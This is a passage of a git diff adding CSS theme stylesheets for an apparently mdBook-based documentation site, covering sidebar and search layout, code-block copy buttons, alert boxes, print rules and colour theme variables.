+[dir=rtl] .next i.fa-angle-right:before { content:"\f104"; }
+
+@media only screen and (max-width: 1080px) {
+    .nav-wide-wrapper { display: none; }
+    .nav-wrapper { display: block; }
+}
+
+/* sidebar-visible */
+@media only screen and (max-width: 1380px) {
+    #sidebar-toggle-anchor:checked ~ .page-wrapper .nav-wide-wrapper { display: none; }
+    #sidebar-toggle-anchor:checked ~ .page-wrapper .nav-wrapper { display: block; }
+}
+
+/* Inline code */
+
+:not(pre) > .hljs {
+    display: inline;
+    padding: 0.1em 0.3em;
+    border-radius: 3px;
+}
+
+:not(pre):not(a) > .hljs {
+    color: var(--inline-code-color);
+    overflow-x: initial;
+}
+
+a:hover > .hljs {
+    text-decoration: underline;
+}
+
+pre {
+    position: relative;
+}
+pre > .buttons {
+    position: absolute;
+    z-index: 100;
+    right: 0px;
+    top: 2px;
+    margin: 0px;
+    padding: 2px 0px;
+
+    color: var(--icons);
+    cursor: pointer;
+    visibility: hidden;
+    opacity: 0;
+    transition: visibility 0.1s linear, opacity 0.1s linear;
+}
+pre:hover > .buttons {
+    visibility: visible;
+    opacity: 1
+}
+pre > .buttons :hover {
+    color: var(--icons-hover);
+    border-color: var(--table-border-color);
+    background-color: var(--theme-hover);
+}
+pre > .buttons i {
+    margin-inline-start: 8px;
+}
+pre > .buttons button {
+    cursor: inherit;
+    margin: 0px 5px;
+    padding: 4px 4px 3px 5px;
+    font-size: 12px;
+
+    border-style: solid;
+    border-width: 1px;
+    border-radius: 4px;
+    border-color: var(--table-border-color);
+    background-color: var(--theme-hover);
+    transition: 100ms;
+    transition-property: color,border-color,background-color;
+    color: var(--icons);
+}
+
+pre > .buttons button.clip-button {
+    padding: 2px 4px 0px 6px;
+}
+
+pre > .buttons button.clip-button::before {
+    content: "COPY";
+    font-size: 12px;
+    color: var(--icons);
+}
+
+pre > .buttons button.clip-button:hover::before {
+    color: var(--icons-hover);
+}
+
+@media (pointer: coarse) {
+    pre > .buttons button {
+        /* On mobile, make it easier to tap buttons. */
+        padding: 0.3rem 1rem;
+    }
+
+    .sidebar-resize-indicator {
+        /* Hide resize indicator on devices with limited accuracy */
+        display: none;
+    }
+}
+pre > code {
+    display: block;
+    padding: 1rem;
+}
+
+/* FIXME: ACE editors overlap their buttons because ACE does absolute
+   positioning within the code block which breaks padding. The only solution I
+   can think of is to move the padding to the outer pre tag (or insert a div
+   wrapper), but that would require fixing a whole bunch of CSS rules.
+*/
+.hljs.ace_editor {
+  padding: 0rem 0rem;
+}
+
+pre > .result {
+    margin-block-start: 10px;
+}
+
+/* Search */
+
+#searchresults a {
+    text-decoration: none;
+}
+
+mark {
+    border-radius: 2px;
+    padding-block-start: 0;
+    padding-block-end: 1px;
+    padding-inline-start: 3px;
+    padding-inline-end: 3px;
+    margin-block-start: 0;
+    margin-block-end: -1px;
+    margin-inline-start: -3px;
+    margin-inline-end: -3px;
+    background-color: var(--search-mark-bg);
+    transition: background-color 300ms linear;
+    cursor: pointer;
+}
+
+mark.fade-out {
+    background-color: rgba(0,0,0,0) !important;
+    cursor: auto;
+}
+
+
+#search-wrapper {
+    inset: 0;
+    backdrop-filter: blur(100px);
+    z-index: 102;
+    position: fixed; 
+    overflow-y: scroll;
+    overscroll-behavior: contain;
+}
+
+#search-wrapper>div {
+    max-height: 80%;
+    height: 80%;
+    transform: translateY(-50%);
+    top: 50%;
+    position: relative;
+    /* overflow: scroll; */
+    overscroll-behavior: contain;
+    margin-left: auto;
+    margin-right: auto;
+    max-width: var(--content-max-width);
+    background-color: var(--bg);
+    border: 1px solid var(--table-border-color);
+    border-radius: 8px;
+    display: flex;
+    flex-direction: column;
+}
+
+.searchbar-outer {
+    border-bottom: 1px solid var(--table-border-color);
+    border-radius: 8px 8px 0 0;
+}
+
+.searchbar-outer span {
+    position: absolute;
+    top: 12px;
+    left: 15px;
+    font-size: 15px;  
+    color: var(--searchbar-fg);
+}
+
+#searchbar {
+    width: 100%;
+    padding: 10px 16px;
+    transition: box-shadow 300ms ease-in-out;
+    background-color: var(--searchbar-bg);
+    color: var(--searchbar-fg);
+    border: none;
+    border-radius: 8px 8px 0 0;
+    text-indent: 25px;
+}
+
+#searchbar:focus,
+#searchbar.active {
+    outline: none;
+}
+
+.searchresults-header {
+    font-weight: normal;
+    font-size: .7em;
+    padding-block-start: 15px;
+    padding-block-end: 0;
+    padding-inline-start: 20px;
+    padding-inline-end: 20px;
+    color: var(--searchresults-header-fg);
+    overflow-y: scroll;
+    display: none;
+}
+
+.searchresults-outer {
+    overflow: scroll;
+    overscroll-behavior: contain;
+    border-radius: 0 0 8px 8px;
+}
+
+ul#searchresults {
+    list-style: none;
+    max-height: 100%;
+    margin: 0;
+    padding: 0;
+}
+ul#searchresults li {
+    border-radius: 0;
+    border-bottom: 1px solid var(--table-border-color);
+    display: flex;
+    flex-direction: row;
+    justify-content: space-between;
+}
+ul#searchresults li:last-child {
+    border-bottom: none;
+}
+ul#searchresults li.focus {
+    background-color: var(--searchresults-li-bg);
+}
+ul#searchresults li a {
+    padding: 15px;
+    color: var(--fg) !important;
+    background-color: var(--bg);
+    font-weight: bold;
+    width: -moz-available;          /* WebKit-based browsers will ignore this. */
+    width: -webkit-fill-available;  /* Mozilla-based browsers will ignore this. */
+    width: fill-available;
+}
+ul#searchresults li a:hover {
+    background-color: var(--theme-hover);
+}
+ul#searchresults li a span.teaser {
+    display: block;
+    clear: both;
+    margin-block-start: 5px;
+    margin-block-end: 0;
+    margin-inline-start: 20px;
+    margin-inline-end: 0;
+    padding-inline-start: 10px;
+    font-size: 0.8em;
+    color: var(--icons-hover) !important;
+    font-weight: 100;
+    border-left: 3px solid var(--icons-hover);
+}
+ul#searchresults li a span.teaser em {
+    font-weight: bold;
+    font-style: normal;
+    color: var(--icons) !important;
+}
+
+/* Container */
+@media only screen and (max-width:1439px) {
+    .container {
+        margin-left: auto;
+        margin-right: auto;
+        max-width: var(--container-max-width);
+        flex-direction: row;
+        display: flex;
+        top: var(--menu-bar-height);
+    }
+    .content{
+        flex: 1 1 0
+    }
+    .content main {
+        margin-inline-start: auto;
+        margin-inline-end: auto;
+        max-width: 100%;
+    }
+}
+
+@media only screen and (min-width:1440px) {
+    .container {
+        margin-left: auto;
+        margin-right: auto;
+        max-width: var(--container-max-width);
+        flex-direction: row;
+        display: flex;
+        top: var(--menu-bar-height);
+        justify-content: space-between;
+    }
+}
+
+/* Sidebar */
+@media only screen and (min-width:550px) {
+    .sidebar {
+        position: sticky;
+        top: 4rem;
+        height: calc(100vh - 4rem);
+        width: var(--sidebar-width);
+        font-size: 0.875em;
+        box-sizing: border-box;
+        -webkit-overflow-scrolling: touch;
+        overscroll-behavior: contain;
+        background-color: var(--sidebar-bg);
+        color: var(--sidebar-fg);
+    }
+}
+@media only screen and (max-width:549px) {
+    .sidebar {
+        position: fixed;
+        bottom: 0;
+        left: 0;
+        right: 0;
+        top: var(--menu-bar-height);
+        font-size: 0.875em;
+        box-sizing: border-box;
+        -webkit-overflow-scrolling: touch;
+        overscroll-behavior: contain;
+        background-color: var(--sidebar-bg);
+        color: var(--sidebar-fg);
+        z-index: 105;
+    }
+}
+.sidebar-iframe-inner {
+    background-color: var(--sidebar-bg);
+    color: var(--sidebar-fg);
+    padding: 10px 10px;
+    margin: 0;
+    font-size: 1.4rem;
+}
+.sidebar-iframe-outer {
+    border: none;
+    height: 100%;
+    position: absolute;
+    top: 0;
+    bottom: 0;
+    left: 0;
+    right: 0;
+}
+[dir=rtl] .sidebar { left: unset; right: 0; }
+.sidebar-resizing {
+    -moz-user-select: none;
+    -webkit-user-select: none;
+    -ms-user-select: none;
+    user-select: none;
+}
+html:not(.sidebar-resizing) .sidebar {
+    transition: transform 0.3s; /* Animation: slide away */
+}
+.sidebar code {
+    line-height: 2em;
+}
+.sidebar .sidebar-scrollbox {
+    overflow-y: auto;
+    overscroll-behavior: contain;
+    position: absolute;
+    top: 0;
+    bottom: 0;
+    left: 0;
+    right: 0;
+    padding: 10px 10px;
+}
+.sidebar .sidebar-resize-handle {
+    position: absolute;
+    cursor: col-resize;
+    width: 0;
+    right: calc(var(--sidebar-resize-indicator-width) * -1);
+    top: 0;
+    bottom: 0;
+    display: flex;
+    align-items: center;
+}
+
+.sidebar-resize-handle .sidebar-resize-indicator {
+    width: 100%;
+    height: 12px;
+    background-color: var(--icons);
+    margin-inline-start: var(--sidebar-resize-indicator-space);
+}
+
+[dir=rtl] .sidebar .sidebar-resize-handle {
+    left: calc(var(--sidebar-resize-indicator-width) * -1);
+    right: unset;
+}
+.js .sidebar .sidebar-resize-handle {
+    cursor: col-resize;
+    width: calc(var(--sidebar-resize-indicator-width) - var(--sidebar-resize-indicator-space));
+}
+/* sidebar-hidden */
+#sidebar-toggle-anchor:not(:checked) ~ .page-wrapper .page #container #sidebar {
+    display: none;
+    
+}
+#sidebar-toggle-anchor:checked ~ .page-wrapper .page #container #sidebar {
+    display: block;
+}
+.sidebar::-webkit-scrollbar {
+    background: var(--sidebar-bg);
+}
+.sidebar::-webkit-scrollbar-thumb {
+    background: var(--scrollbar);
+}
+
+.chapter li.part-title {
+    color: var(--fg);
+    font-weight: bold;
+    text-transform: uppercase;
+    letter-spacing: .05em;
+    padding-top: 1.5rem;
+    padding-right: 1.25rem;
+    padding-left: 1.25rem;
+}
+
+.chapter {
+    list-style: none outside none;
+    padding-inline-start: 0;
+    line-height: 2.2em;
+    margin-top: 0;
+}
+
+.chapter ol {
+    width: 100%;
+}
+
+.chapter li {
+    display: flex;
+    color: var(--fg);
+}
+.chapter li a {
+    display: block;
+    padding: 0;
+    text-decoration: none;
+    color: var(--sidebar-fg);
+}
+
+.chapter li a:hover {
+    color: var(--fg);
+}
+
+.chapter li a.active {
+    color: var(--sidebar-active);
+    font-weight: 600;
+}
+
+.chapter li > a.toggle {
+    cursor: pointer;
+    display: block;
+    margin-inline-start: auto;
+    padding: 0 10px;
+    user-select: none;
+    opacity: 0.68;
+}
+
+.chapter li > a.toggle div {
+    transition: transform 0.5s;
+}
+
+/* collapse the section */
+.chapter li:not(.expanded) + li > ol {
+    display: none;
+}
+
+.chapter li.chapter-item {
+    line-height: 1.5em;
+    margin-block-start: 0.6em;
+    font-size: 1.5rem;
+    padding-left: 1.25rem;
+    padding-right: 1.25rem;
+    padding-top: .375rem;
+    padding-bottom: .375rem;
+    border-radius: 5px;
+}
+
+.chapter li.chapter-item:hover {
+    background-color: var(--sidebar-bg-hover);
+    color: var(--fg)
+}
+
+.chapter li.expanded > a.toggle div {
+    transform: rotate(90deg);
+}
+
+.spacer {
+    width: 100%;
+    height: 3px;
+    margin: 5px 0px;
+}
+.chapter .spacer {
+    background-color: var(--sidebar-spacer);
+}
+
+@media (-moz-touch-enabled: 1), (pointer: coarse) {
+    .chapter li a { padding: 5px 0; }
+    .spacer { margin: 10px 0; }
+}
+
+.section {
+    list-style: none outside none;
+    padding-inline-start: 10px;
+    line-height: 1.9em;
+    border-left: 1px solid var(--table-border-color);
+    margin-left: 2.5rem;
+}
+
+.footer {
+    height: var(--footer-height);
+    border-top: 1px solid var(--table-border-color);
+    margin-top: 1rem;
+    align-content: center;
+    z-index: 101;
+}
+.footer .theme-wrapper {
+    max-width: var(--container-max-width);
+    margin-left: auto;
+    margin-right: auto;
+    display: flex;
+    justify-content: end;
+}
+.footer .theme-wrapper .theme-btns {
+    display: flex;
+    flex-direction: row;
+    border-radius: 9999px;
+    background-color: var(--bg);
+    border: 1px solid var(--table-border-color);
+    padding-right: .2rem;
+    padding-left: .2rem;
+
+}
+
+.footer .theme-wrapper .theme-btns button {
+    padding: .3rem;
+    margin-top: .3rem;
+    margin-bottom: .3rem;
+    margin-right: .5rem;
+    margin-left: .5rem;
+    color: var(--icons);
+    border: none;
+    background-color: transparent;
+    cursor: pointer;
+    font-size: 16px;
+    vertical-align: middle;
+}
+
+.footer .theme-wrapper .theme-btns button.theme-selected {
+    color: var(--links);
+}
+
+.footer .theme-wrapper .theme-btns button:hover {
+    color: var(--icons-hover);
+}
+
+/* Details/Summary */
+
+summary {
+    list-style: none;
+    display: flex;
+    align-items: center;
+    padding: 1.5rem;
+    color: var(--menu-bar-link-color-hover);
+    cursor: pointer;
+}
+
+summary::-webkit-details-marker {
+    display: none;
+}
+
+summary:hover {
+    color: var(--menu-bar-link-color);
+}
+
+summary::before {
+    content: '';
+    width: 14px;
+    height: 14px;
+    mask-image: url("https://ka-p.fontawesome.com/releases/v6.6.0/svgs/regular/chevron-right.svg?v=2&token=a463935e93");
+    mask-repeat: no-repeat;
+    mask-position: center center;
+    background: currentColor;
+    margin-right: .5em;
+    transition: 0.2s;
+    transform: rotate(0deg);
+}
+
+details[open] > summary::before {
+    transform: rotate(90deg);
+}
+
+details {
+    border-radius: 8px;
+    background-color: var(--bg);
+    border: 1px solid var(--table-border-color);
+    font-size: 18px;
+    font-weight: 100;
+}
+
+details p {
+    padding-right: 4rem;
+    padding-left: 4rem;
+}
+
+details ul, details ol {
+    padding-right: 6rem;
+    padding-left: 6rem;
+    padding-bottom: 2rem;
+    margin-top: 0;
+}
+
+details ul li {
+    font-size: 16px;
+    margin-top: .8rem;
+}
+
+details ul li:first-child {
+    margin-top: 0;
+}
+
+/* Alerts */
+.mdbook-alerts {
+    padding: 16px 28px 16px 50px !important;
+    margin-bottom: 16px !important;
+    border-left: 0 !important;
+    background-color: var(--mdbook-alerts-color);
+    border-radius: 5px;
+    position: relative;
+}
+
+.mdbook-alerts > :nth-child(2) {
+    margin-top: 0;
+}
+
+.mdbook-alerts-title {
+    display: none !important;
+}
+
+.mdbook-alerts a{
+    color: var(--mdbook-alerts-color-link) !important;
+}
+
+.mdbook-alerts a:hover{
+    color: var(--mdbook-alerts-color-link-hover) !important;
+}
+
+.mdbook-alerts-tip::before{
+    position: absolute;
+    left: 0;
+    top: 0;
+    margin-left: 15px;
+    margin-top: 15px;
+    content: "\f05d";
+    font-family: FontAwesome;
+    font-size: 20px;
+    width: 20px;
+    height: 20px;
+    color: var(--mdbook-alerts-color-link);
+}
+
+.mdbook-alerts-note::before{
+    position: absolute;
+    left: 0;
+    top: 0;
+    margin-left: 15px;
+    margin-top: 15px;
+    content: "\f05a";
+    font-family: FontAwesome;
+    font-size: 20px;
+    width: 20px;
+    height: 20px;
+    color: var(--mdbook-alerts-color-link);
+}
+
+.mdbook-alerts-important::before{
+    position: absolute;
+    left: 0;
+    top: 0;
+    margin-left: 15px;
+    margin-top: 15px;
+    content: "\f006";
+    font-family: FontAwesome;
+    font-size: 20px;
+    width: 20px;
+    height: 20px;
+    color: var(--mdbook-alerts-color-link);
+}
+
+.mdbook-alerts-warning::before{
+    position: absolute;
+    left: 0;
+    top: 0;
+    margin-left: 15px;
+    margin-top: 15px;
+    content: "\f06a";
+    font-family: FontAwesome;
+    font-size: 20px;
+    width: 20px;
+    height: 20px;
+    color: var(--mdbook-alerts-color-link);
+}
+
+.mdbook-alerts-caution::before{
+    position: absolute;
+    left: 0;
+    top: 0;
+    margin-left: 15px;
+    margin-top: 15px;
+    content: "\f071";
+    font-family: FontAwesome;
+    font-size: 20px;
+    width: 20px;
+    height: 20px;
+    color: var(--mdbook-alerts-color-link);
+}
+
+.content_ref {
+    background-color: var(--bg);
+    border: 1px solid var(--table-border-color);
+    border-radius: 8px;
+    padding-bottom: 1.5rem;
+    padding-top: 1.5rem;
+    padding-right: 2rem;
+    padding-left: 2rem;
+    display: flex;
+    justify-content: space-between;
+    flex-direction: row;
+    color: var(--fg) !important;
+    text-decoration: none !important;
+    font-size: 18px;
+}
+
+.content_ref:hover{
+    color: var(--links) !important;
+    text-decoration: none !important;
+}
+
+.content_ref span{
+    display: flex;
+    justify-content: space-between;
+    width: 100%;
+    flex-direction: row;
+    align-items: center;
+    text-decoration: none !important;
+}
+
+.content_ref span::after{
+    content: '';
+    width: 14px;
+    height: 14px;
+    mask-image: url("https://ka-p.fontawesome.com/releases/v6.6.0/svgs/regular/chevron-right.svg?v=2&token=a463935e93");
+    mask-repeat: no-repeat;
+    mask-position: center center;
+    background: currentColor;
+}
+
+.tabs-container {
+    display: flex;
+    flex-wrap: wrap;
+
+    >input[type="radio"] {
+        display: none;
+
+        &:checked+.tab-label {
+            /* this is the active tab */
+            background-color: darkslategray;
+        }
+    }
+
+    >input[type="radio"]:first-child+.tab-label {
+        /* target the first tab label */
+        border-radius: 50px 0 0 50px;
+    }
+
+    >input[type="radio"]:last-of-type+.tab-label {
+        /* target the last tab label */
+        border-radius: 0 50px 50px 0;
+    }
+
+    >input[type="radio"]:not(:checked)+.tab-label+.tab-content {
+        /* hide inactive tabs */
+        display: none;
+    }
+
+    .tab-label {
+        padding: 5px 15px;
+        color: white;
+        background-color: slategray;
+    }
+
+    .tab-content {
+        order: 99;
+        width: 100%;
+        margin-top: 15px;
+        display: block;
+    }
+}
+
+figure, figcaption{
+    text-align: center;
+}
+
+li.chapter-item a.external-link::after {
+    content: "\f08e";
+    font-family: FontAwesome;
+    /* font-size: 15px; */
+    margin-left: 15px;
+    color: currentColor;
+}
\ No newline at end of file
diff --git a/theme/css/general.css b/theme/css/general.css
new file mode 100644
index 000000000..d08e9178d
--- /dev/null
+++ b/theme/css/general.css
@@ -0,0 +1,242 @@
+/* Base styles and content styles */
+
+:root {
+    /* Browser default font-size is 16px, this way 1 rem = 10px */
+    font-size: 62.5%;
+    color-scheme: var(--color-scheme);
+}
+
+html {
+    font-family: __Inter_a4efb0, __Inter_Fallback_a4efb0, system-ui, arial;
+    color: var(--fg);
+    background-color: var(--bg);
+    text-size-adjust: none;
+    -webkit-text-size-adjust: none;
+}
+
+body {
+    margin: 0;
+    font-size: 1.6rem;
+    overflow-x: hidden;
+}
+
+code {
+    font-family: var(--mono-font) !important;
+    font-size: var(--code-font-size);
+    direction: ltr !important;
+}
+
+/* make long words/inline code not x overflow */
+main {
+    overflow-wrap: break-word;
+}
+
+/* make wide tables scroll if they overflow */
+.table-wrapper {
+    overflow-x: auto;
+}
+
+/* Don't change font size in headers. */
+h1 code, h2 code, h3 code, h4 code, h5 code, h6 code {
+    font-size: unset;
+}
+
+.left { float: left; }
+.right { float: right; }
+.boring { opacity: 0.6; }
+.hide-boring .boring { display: none; }
+.hidden { display: none !important; }
+
+h2, h3 { margin-block-start: 2.5em; }
+h4, h5 { margin-block-start: 2em; }
+
+.header + .header h3,
+.header + .header h4,
+.header + .header h5 {
+    margin-block-start: 1em;
+}
+
+h1:target::before,
+h2:target::before,
+h3:target::before,
+h4:target::before,
+h5:target::before,
+h6:target::before {
+    display: inline-block;
+    content: "»";
+    margin-inline-start: -30px;
+    width: 30px;
+}
+
+/* This is broken on Safari as of version 14, but is fixed
+   in Safari Technology Preview 117 which I think will be Safari 14.2.
+   https://bugs.webkit.org/show_bug.cgi?id=218076
+*/
+:target {
+    /* Safari does not support logical properties */
+    scroll-margin-top: calc(var(--menu-bar-height) + 0.5em);
+}
+
+.page {
+    outline: 0;
+    padding: 0 var(--page-padding);
+    margin-block-start: calc(0px - var(--menu-bar-height)); /* Compensate for the #menu-bar-hover-placeholder */
+}
+.page-wrapper {
+    box-sizing: border-box;
+    background-color: var(--bg);
+}
+.no-js .page-wrapper,
+.js:not(.sidebar-resizing) .page-wrapper {
+    transition: margin-left 0.3s ease, transform 0.3s ease; /* Animation: slide away */
+}
+[dir=rtl] .js:not(.sidebar-resizing) .page-wrapper {
+    transition: margin-right 0.3s ease, transform 0.3s ease; /* Animation: slide away */
+}
+
+.content {
+    overflow-y: auto;
+    padding: 0 5px 50px 5px;
+}
+.content main {
+    margin-inline-start: auto;
+    margin-inline-end: auto;
+    max-width: var(--content-max-width);
+}
+.content nav {
+    margin-inline-start: auto;
+    margin-inline-end: auto;
+    max-width: var(--content-max-width);
+    margin-top: 20px;
+}
+.content p { line-height: 1.45em; }
+.content ol { line-height: 1.45em; }
+.content ul { line-height: 1.45em; }
+.content a { text-decoration: none; }
+.content a:hover { text-decoration: underline; }
+.content img, .content video { max-width: 100%; }
+.content .header:link,
+.content .header:visited {
+    color: var(--fg);
+}
+.content .header:link,
+.content .header:visited:hover {
+    text-decoration: none;
+}
+
+table {
+    margin: 0 auto;
+    border-collapse: collapse;
+}
+table td {
+    padding: 3px 20px;
+    border: 1px var(--table-border-color) solid;
+}
+table thead {
+    background: var(--table-header-bg);
+}
+table thead td {
+    font-weight: 700;
+    border: none;
+}
+table thead th {
+    padding: 3px 20px;
+}
+table thead tr {
+    border: 1px var(--table-header-bg) solid;
+}
+/* Alternate background colors for rows */
+table tbody tr:nth-child(2n) {
+    background: var(--table-alternate-bg);
+}
+
+
+blockquote {
+    margin: 20px 0;
+    padding: 0 20px;
+    color: var(--fg);
+    background-color: var(--quote-bg);
+    border-block-start: .1em solid var(--quote-border);
+    border-block-end: .1em solid var(--quote-border);
+}
+
+.warning {
+    margin: 20px;
+    padding: 0 20px;
+    border-inline-start: 2px solid var(--warning-border);
+}
+
+.warning:before {
+    position: absolute;
+    width: 3rem;
+    height: 3rem;
+    margin-inline-start: calc(-1.5rem - 21px);
+    content: "ⓘ";
+    text-align: center;
+    background-color: var(--bg);
+    color: var(--warning-border);
+    font-weight: bold;
+    font-size: 2rem;
+}
+
+blockquote .warning:before {
+    background-color: var(--quote-bg);
+}
+
+kbd {
+    background-color: var(--table-border-color);
+    border-radius: 4px;
+    border: solid 1px var(--theme-popup-border);
+    box-shadow: inset 0 -1px 0 var(--theme-hover);
+    display: inline-block;
+    font-size: var(--code-font-size);
+    font-family: var(--mono-font);
+    line-height: 10px;
+    padding: 4px 5px;
+    vertical-align: middle;
+}
+
+sup {
+    /* Set the line-height for superscript and footnote references so that there
+       isn't an awkward space appearing above lines that contain the footnote.
+
+       See https://github.com/rust-lang/mdBook/pull/2443#discussion_r1813773583
+       for an explanation.
+    */
+    line-height: 0;
+}
+
+:not(.footnote-definition) + .footnote-definition,
+.footnote-definition + :not(.footnote-definition) {
+    margin-block-start: 2em;
+}
+.footnote-definition {
+    font-size: 0.9em;
+    margin: 0.5em 0;
+}
+.footnote-definition p {
+    display: inline;
+}
+
+.tooltiptext {
+    position: absolute;
+    visibility: hidden;
+    color: #fff;
+    background-color: #333;
+    transform: translateX(-50%); /* Center by moving tooltip 50% of its width left */
+    left:35%; /* Half of the width of the icon */
+    top: -35px;
+    font-size: 12px;
+    text-align: center;
+    border-radius: 6px;
+    padding: 5px 8px;
+    margin: 5px;
+    z-index: 1000;
+}
+.tooltipped .tooltiptext {
+    visibility: visible;
+}
+
+.result-no-output {
+    font-style: italic;
+}
\ No newline at end of file
diff --git a/theme/css/print.css b/theme/css/print.css
new file mode 100644
index 000000000..80ec3a544
--- /dev/null
+++ b/theme/css/print.css
@@ -0,0 +1,50 @@
+
+#sidebar,
+#menu-bar,
+.nav-chapters,
+.mobile-nav-chapters {
+    display: none;
+}
+
+#page-wrapper.page-wrapper {
+    transform: none !important;
+    margin-inline-start: 0px;
+    overflow-y: initial;
+}
+
+#content {
+    max-width: none;
+    margin: 0;
+    padding: 0;
+}
+
+.page {
+    overflow-y: initial;
+}
+
+code {
+    direction: ltr !important;
+}
+
+pre > .buttons {
+    z-index: 2;
+}
+
+a, a:visited, a:active, a:hover {
+    color: #4183c4;
+    text-decoration: none;
+}
+
+h1, h2, h3, h4, h5, h6 {
+    page-break-inside: avoid;
+    page-break-after: avoid;
+}
+
+pre, code {
+    page-break-inside: avoid;
+    white-space: pre-wrap;
+}
+
+.fa {
+    display: none !important;
+}
diff --git a/theme/css/variables.css b/theme/css/variables.css
new file mode 100644
index 000000000..fbe328e4d
--- /dev/null
+++ b/theme/css/variables.css
@@ -0,0 +1,484 @@
+
+/* Globals */
+
+:root {
+    --sidebar-width: 300px;
+    --sidebar-resize-indicator-width: 8px;
+    --sidebar-resize-indicator-space: 2px;
+    --page-padding: 15px;
+    --content-max-width: 750px;
+    --container-max-width: 1500px;
+    --menu-bar-height: 64px;
+    --footer-height: 75px;
+    --mono-font: "Source Code Pro", Consolas, "Ubuntu Mono", Menlo, "DejaVu Sans Mono", monospace, monospace;
+    --code-font-size: 0.875em /* please adjust the ace font size accordingly in editor.js */
+}
+
+/* Themes */
+
+.ayu {
+    --bg: hsl(210, 25%, 8%);
+    --fg: #c5c5c5;
+
+    --sidebar-bg: #14191f;
+    --sidebar-fg: #c8c9db;
+    --sidebar-non-existant: #5c6773;
+    --sidebar-active: #ffb454;
+    --sidebar-spacer: #2d334f;
+
+    --scrollbar: var(--sidebar-fg);
+
+    --icons: #737480;
+    --icons-hover: #b7b9cc;
+
+    --links: #0096cf;
+
+    --inline-code-color: #ffb454;
+
+    --theme-popup-bg: #14191f;
+    --theme-popup-border: #5c6773;
+    --theme-hover: #191f26;
+
+    --quote-bg: hsl(226, 15%, 17%);
+    --quote-border: hsl(226, 15%, 22%);
+
+    --warning-border: #ff8e00;
+
+    --table-border-color: hsl(210, 25%, 13%);
+    --table-header-bg: hsl(210, 25%, 28%);
+    --table-alternate-bg: hsl(210, 25%, 11%);
+
+    --searchbar-border-color: #848484;
+    --searchbar-bg: #424242;
+    --searchbar-fg: #fff;
+    --searchbar-shadow-color: #d4c89f;
+    --searchresults-header-fg: #666;
+    --searchresults-border-color: #888;
+    --searchresults-li-bg: #252932;
+    --search-mark-bg: #e3b171;
+
+    --color-scheme: dark;
+
+    /* Same as `--icons` */
+    --copy-button-filter: invert(45%) sepia(6%) saturate(621%) hue-rotate(198deg) brightness(99%) contrast(85%);
+    /* Same as `--sidebar-active` */
+    --copy-button-filter-hover: invert(68%) sepia(55%) saturate(531%) hue-rotate(341deg) brightness(104%) contrast(101%);
+}
+
+.coal {
+    --bg: hsl(200, 7%, 8%);
+    --fg: #98a3ad;
+
+    --sidebar-bg: #292c2f;
+    --sidebar-fg: #a1adb8;
+    --sidebar-non-existant: #505254;
+    --sidebar-active: #3473ad;
+    --sidebar-spacer: #393939;
+
+    --scrollbar: var(--sidebar-fg);
+
+    --icons: #43484d;
+    --icons-hover: #b3c0cc;
+
+    --links: #2b79a2;
+
+    --inline-code-color: #c5c8c6;
+
+    --theme-popup-bg: #141617;
+    --theme-popup-border: #43484d;
+    --theme-hover: #1f2124;
+
+    --quote-bg: hsl(234, 21%, 18%);
+    --quote-border: hsl(234, 21%, 23%);
+
+    --warning-border: #ff8e00;
+
+    --table-border-color: hsl(200, 7%, 13%);
+    --table-header-bg: hsl(200, 7%, 28%);
+    --table-alternate-bg: hsl(200, 7%, 11%);
+
+    --searchbar-border-color: #aaa;
+    --searchbar-bg: #b7b7b7;
+    --searchbar-fg: #000;
+    --searchbar-shadow-color: #aaa;
+    --searchresults-header-fg: #666;
+    --searchresults-border-color: #98a3ad;
+    --searchresults-li-bg: #2b2b2f;
+    --search-mark-bg: #355c7d;
+
+    --color-scheme: dark;
+
+    /* Same as `--icons` */
+    --copy-button-filter: invert(26%) sepia(8%) saturate(575%) hue-rotate(169deg) brightness(87%) contrast(82%);
+    /* Same as `--sidebar-active` */
+    --copy-button-filter-hover: invert(36%) sepia(70%) saturate(503%) hue-rotate(167deg) brightness(98%) contrast(89%);
+}
+
+.light, html:not(.js) {
+    --bg: hsl(0, 0%, 100%);
+    --fg: hsl(0, 0%, 0%);
+
+    --sidebar-bg: #fafafa;
+    --sidebar-fg: hsl(0, 0%, 0%);
+    --sidebar-non-existant: #aaaaaa;
+    --sidebar-active: #1f1fff;
+    --sidebar-spacer: #f4f4f4;
+
+    --scrollbar: #8F8F8F;
+
+    --icons: #747474;
+    --icons-hover: #000000;
+
+    --links: #20609f;
+
+    --inline-code-color: #301900;
+
+    --theme-popup-bg: #fafafa;
+    --theme-popup-border: #cccccc;
+    --theme-hover: #e6e6e6;
+
+    --quote-bg: hsl(197, 37%, 96%);
+    --quote-border: hsl(197, 37%, 91%);
+
+    --warning-border: #ff8e00;
+
+    --table-border-color: hsl(0, 0%, 95%);
+    --table-header-bg: hsl(0, 0%, 80%);
+    --table-alternate-bg: hsl(0, 0%, 97%);
+
+    --searchbar-border-color: #aaa;
+    --searchbar-bg: #fafafa;
+    --searchbar-fg: #000;
+    --searchbar-shadow-color: #aaa;
+    --searchresults-header-fg: #666;
+    --searchresults-border-color: #888;
+    --searchresults-li-bg: #e4f2fe;
+    --search-mark-bg: #a2cff5;
+
+    --color-scheme: light;
+
+    /* Same as `--icons` */
+    --copy-button-filter: invert(45.49%);
+    /* Same as `--sidebar-active` */
+    --copy-button-filter-hover: invert(14%) sepia(93%) saturate(4250%) hue-rotate(243deg) brightness(99%) contrast(130%);
+}
+
+.navy {
+    --bg: hsl(226, 23%, 11%);
+    --fg: #bcbdd0;
+
+    --sidebar-bg: #282d3f;
+    --sidebar-fg: #c8c9db;
+    --sidebar-non-existant: #505274;
+    --sidebar-active: #2b79a2;
+    --sidebar-spacer: #2d334f;
+
+    --scrollbar: var(--sidebar-fg);
+
+    --icons: #737480;
+    --icons-hover: #b7b9cc;
+
+    --links: #2b79a2;
+
+    --inline-code-color: #c5c8c6;
+
+    --theme-popup-bg: #161923;
+    --theme-popup-border: #737480;
+    --theme-hover: #282e40;
+
+    --quote-bg: hsl(226, 15%, 17%);
+    --quote-border: hsl(226, 15%, 22%);
+
+    --warning-border: #ff8e00;
+
+    --table-border-color: hsl(226, 23%, 16%);
+    --table-header-bg: hsl(226, 23%, 31%);
+    --table-alternate-bg: hsl(226, 23%, 14%);
+
+    --searchbar-border-color: #aaa;
+    --searchbar-bg: #aeaec6;
+    --searchbar-fg: #000;
+    --searchbar-shadow-color: #aaa;
+    --searchresults-header-fg: #5f5f71;
+    --searchresults-border-color: #5c5c68;
+    --searchresults-li-bg: #242430;
+    --search-mark-bg: #a2cff5;
+
+    --color-scheme: dark;
+
+    /* Same as `--icons` */
